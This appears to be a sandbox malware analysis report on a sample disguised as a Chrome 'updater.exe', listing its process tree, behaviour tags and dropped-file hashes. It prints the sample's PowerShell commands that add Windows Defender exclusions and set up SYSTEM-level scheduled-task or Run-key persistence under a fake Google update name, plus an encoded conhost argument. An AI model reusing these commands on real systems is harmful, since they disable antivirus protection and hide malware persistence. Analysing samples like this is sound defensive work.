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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2416
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4100
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1936 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
PID:2840
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2944
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:5108
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3232
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:1172
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 2.0MB
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 1.3MB
- SHA256 f42cf7e5684b07bfc2b2812d6306b99a026ecd906cdabe2bb36b0f1d344872da
- MD5 69e54227cd76cd230a75eba74f6b5c5e
- SHA1 42c794d263dcf8336713b539e832cabc1c6186af
- SHA512 a572aa687b8901e3f0ab9a762bbbf9451898f50863943be8486fd34b8142bd9505c425816169a523f094df43d2f86d888e70d2d396dc5dc9a0bcae41212eaa68
- SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkYC:rWVipAxqo5p88CbXuxWQiSJU320ZW21T
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 9b0a00e9f86bd22cfc30ddfe399d7284f0895bb8b5e8faf4207caf63459a3a17
- MD5 8c83aaf9a98d5a32d6213bc6b552925e
- SHA1 6c36e784738f6ee769f055e7237d087af9db5341
- SHA512 413a58e6a510199500458fe9abce3366401b9b83ed1f5190a8823de30c258a786add624fcfca9181570dc2ef8d6d95c7d87061221d014a7fa997917c22dd2421
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 e67b8f3d0d4e55a603d85e9173ef54fbaa275648964205e24943cb85e8e3113f
- MD5 f10dcec4116236746e41377bcc63be24
- SHA1 49d37b2a8606b1c683f9aa2401f04ce29c9df37e
- SHA512 39a253221419ce0bb4dac1b8580462c0c7b1f0adb27f8b04a32ab6336fe4f0dd1bbbcc31d8cf05fd2659b8c3cf56e4d6017d44e91d1b513bf62f186326a286ee
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4zeel1ux.04d.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512